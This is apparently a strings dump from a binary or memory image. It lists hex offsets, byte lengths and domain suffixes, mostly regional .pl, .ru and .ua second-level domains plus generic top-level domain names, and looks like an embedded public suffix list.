0x19cb34c (26): bieszczady.pl
0x19cb378 (28): boleslawiec.pl
0x19cb3a8 (24): bydgoszcz.pl
0x19cb3f8 (20): cieszyn.pl
0x19cb420 (20): czeladz.pl
0x19cb46c (24): dlugoleka.pl
0x19cb500 (20): gniezno.pl
0x19cb528 (20): gorlice.pl
0x19cb550 (20): grajewo.pl
0x19cb59c (22): jaworzno.pl
0x19cb5c4 (30): jelenia-gora.pl
0x19cb63c (36): kazimierz-dolny.pl
0x19cb674 (20): karpacz.pl
0x19cb69c (20): kartuzy.pl
0x19cb6c4 (20): kaszuby.pl
0x19cb6ec (22): katowice.pl
0x19cb738 (20): ketrzyn.pl
0x19cb760 (20): klodzko.pl
0x19cb788 (26): kobierzyce.pl
0x19cb7b4 (24): kolobrzeg.pl
0x19cb804 (26): konskowola.pl
0x19cb898 (20): legnica.pl
0x19cb8c0 (20): lezajsk.pl
0x19cb8e8 (22): limanowa.pl
0x19cb9a0 (20): malbork.pl
0x19cb9c8 (26): malopolska.pl
0x19cb9f4 (22): mazowsze.pl
0x19cba88 (20): mragowo.pl
0x19cbad4 (22): nowaruda.pl
0x19cbb88 (20): olsztyn.pl
0x19cbbb0 (20): opoczno.pl
0x19cbbfc (20): ostroda.pl
0x19cbc24 (24): ostroleka.pl
0x19cbc50 (24): ostrowiec.pl
0x19cbc7c (26): ostrowwlkp.pl
0x19cbce8 (20): podhale.pl
0x19cbd10 (22): podlasie.pl
0x19cbd38 (24): polkowice.pl
0x19cbd64 (20): pomorze.pl
0x19cbd8c (24): pomorskie.pl
0x19cbdb8 (26): prochowice.pl
0x19cbde4 (22): pruszkow.pl
0x19cbe0c (24): przeworsk.pl
0x19cbe80 (22): rawa-maz.pl
0x19cbecc (20): rzeszow.pl
0x19cbf3c (20): siedlce.pl
0x19cbfac (24): sosnowiec.pl
0x19cbfd8 (30): stalowa-wola.pl
0x19cc008 (20): skoczow.pl
0x19cc030 (30): starachowice.pl
0x19cc060 (22): stargard.pl
0x19cc088 (20): suwalki.pl
0x19cc0b0 (22): swidnica.pl
0x19cc0d8 (26): swiebodzin.pl
0x19cc104 (28): swinoujscie.pl
0x19cc134 (22): szczecin.pl
0x19cc15c (22): szczytno.pl
0x19cc184 (26): tarnobrzeg.pl
0x19cc240 (24): walbrzych.pl
0x19cc290 (22): warszawa.pl
0x19cc344 (24): wloclawek.pl
0x19cc370 (24): wodzislaw.pl
0x19cc39c (20): wolomin.pl
0x19cc3c4 (20): wroclaw.pl
0x19cc3ec (24): zachpomor.pl
0x19cc484 (24): zgorzelec.pl
0x19cc55c (20): gliwice.pl
0x19cc5ec (22): zakopane.pl
0x19cd238 (20): adygeya.ru
0x19cd2a4 (28): arkhangelsk.ru
0x19cd2d4 (24): astrakhan.ru
0x19cd300 (24): bashkiria.ru
0x19cd32c (22): belgorod.ru
0x19cd374 (20): bryansk.ru
0x19cd39c (22): buryatia.ru
0x19cd404 (28): chelyabinsk.ru
0x19cd458 (22): chukotka.ru
0x19cd480 (24): chuvashia.ru
0x19cd4ac (22): dagestan.ru
0x19cd4d4 (20): dudinka.ru
0x19cd544 (20): irkutsk.ru
0x19cd56c (20): ivanovo.ru
0x19cd594 (20): izhevsk.ru
0x19cd5dc (28): joshkar-ola.ru
0x19cd60c (22): kalmykia.ru
0x19cd658 (24): kamchatka.ru
0x19cd684 (20): karelia.ru
0x19cd6f0 (22): kemerovo.ru
0x19cd718 (26): khabarovsk.ru
0x19cd744 (24): khakassia.ru
0x19cd7f8 (22): kostroma.ru
0x19cd820 (28): krasnoyarsk.ru
0x19cd8bc (20): lipetsk.ru
0x19cd8e4 (20): magadan.ru
0x19cd92c (20): mari-el.ru
0x19cd978 (22): mordovia.ru
0x19cd9e4 (22): murmansk.ru
0x19cda0c (20): nalchik.ru
0x19cda74 (28): novosibirsk.ru
0x19cdae4 (22): orenburg.ru
0x19cdbfc (22): sakhalin.ru
0x19cdc48 (20): saratov.ru
0x19cdc70 (22): simbirsk.ru
0x19cdc98 (22): smolensk.ru
0x19cdce0 (24): stavropol.ru
0x19cdd74 (24): tatarstan.ru
0x19cdde4 (24): tsaritsyn.ru
0x19cded4 (22): udmurtia.ru
0x19cdefc (22): ulan-ude.ru
0x19cdf24 (28): vladikavkaz.ru
0x19cdf54 (22): vladimir.ru
0x19cdf7c (28): vladivostok.ru
0x19cdfac (24): volgograd.ru
0x19cdfd8 (20): vologda.ru
0x19ce000 (22): voronezh.ru
0x19ce06c (20): yakutia.ru
0x19ce0b8 (24): yaroslavl.ru
0x19ce0e4 (32): yekaterinburg.ru
0x19ce118 (40): yuzhno-sakhalinsk.ru
0x19ce1bc (20): fareast.ru
0x19ce228 (22): k-uralsk.ru
0x19ce250 (22): kustanai.ru
0x19ce278 (20): kuzbass.ru
0x19ce2a0 (22): magnitka.ru
0x19ce2ec (22): nakhodka.ru
0x19ce334 (20): norilsk.ru
0x19ce380 (26): pyatigorsk.ru
0x19ce3ac (24): rubtsovsk.ru
0x19ceb78 (20): komforb.se
0x19ceba0 (36): kommunalforbund.se
0x19cec74 (34): naturbruksgymn.se
0x19cf2e8 (24): consulado.st
0x19cf334 (24): embaixada.st
0x19cf3e0 (22): principe.st
0x19cf408 (20): saotome.st
0x19cfcc8 (20): tourism.tn
0x19cfd98 (20): agrinet.tn
0x19cfdc0 (20): defense.tn
0x19d0838 (24): cherkassy.ua
0x19d0864 (22): cherkasy.ua
0x19d088c (24): chernigov.ua
0x19d08b8 (24): chernihiv.ua
0x19d08e4 (26): chernivtsi.ua
0x19d0910 (26): chernovtsy.ua
0x19d09ec (34): dnepropetrovsk.ua
0x19d0a20 (34): dnipropetrovsk.ua
0x19d0a54 (20): dominic.ua
0x19d0a7c (20): donetsk.ua
0x19d0adc (36): ivano-frankivsk.ua
0x19d0b30 (20): kharkiv.ua
0x19d0b58 (20): kharkov.ua
0x19d0b80 (20): kherson.ua
0x19d0ba8 (30): khmelnitskiy.ua
0x19d0bd8 (30): khmelnytskyi.ua
0x19d0c28 (26): kirovograd.ua
0x19d0d3c (20): lugansk.ua
0x19d0de0 (22): mykolaiv.ua
0x19d0e08 (22): nikolaev.ua
0x19d0eb0 (20): poltava.ua
0x19d0f58 (26): sebastopol.ua
0x19d0f84 (26): sevastopol.ua
0x19d1008 (22): ternopil.ua
0x19d104c (22): uzhgorod.ua
0x19d1074 (20): vinnica.ua
0x19d109c (24): vinnytsia.ua
0x19d112c (28): zaporizhzhe.ua
0x19d115c (30): zaporizhzhia.ua
0x19d118c (22): zhitomir.ua
0x19d11b4 (22): zhytomyr.ua
0x19d31fc (26): pvt.k12.ma.us
0x19d3228 (28): chtr.k12.ma.us
0x19d3258 (32): paroch.k12.ma.us

-------
numerous keywords in memory together
-------
0x19d41c4 (22): accountants
0x19d4370 (20): associates
0x19d45fc (22): blackfriday
0x19d4694 (20): bnpparibas
0x19d4860 (28): cancerresearch
0x19d4d44 (24): construction
0x19d4d70 (20): consulting
0x19d4d98 (22): contractors
0x19d4e3c (20): creditcard
0x19d4e9c (20): cuisinella
0x19d523c (22): engineering
0x19d5264 (22): enterprises
0x19d5304 (20): eurovision
0x19d55f8 (20): foundation
0x19d5a0c (20): healthcare
0x19d5c18 (20): immobilien
0x19d5c40 (20): industries
0x19d5d00 (26): international
0x19d5d2c (22): investments
0x19d6198 (20): management
0x19d63c8 (22): motorcycles
0x19d6708 (22): photography
0x19d68d4 (22): productions
0x19d6918 (20): properties
0x19d6ae0 (20): republican
0x19d6b24 (20): restaurant
0x19d6d10 (24): scholarships
0x19d70e4 (20): technology
0x19d72a0 (20): university
0x19d735c (24): versicherung
0x19d7400 (20): vlaanderen
0x19d75e0 (22): williamhill
0x19d7ab6 (22): gensberater
0x19d7aea (24): gensberatung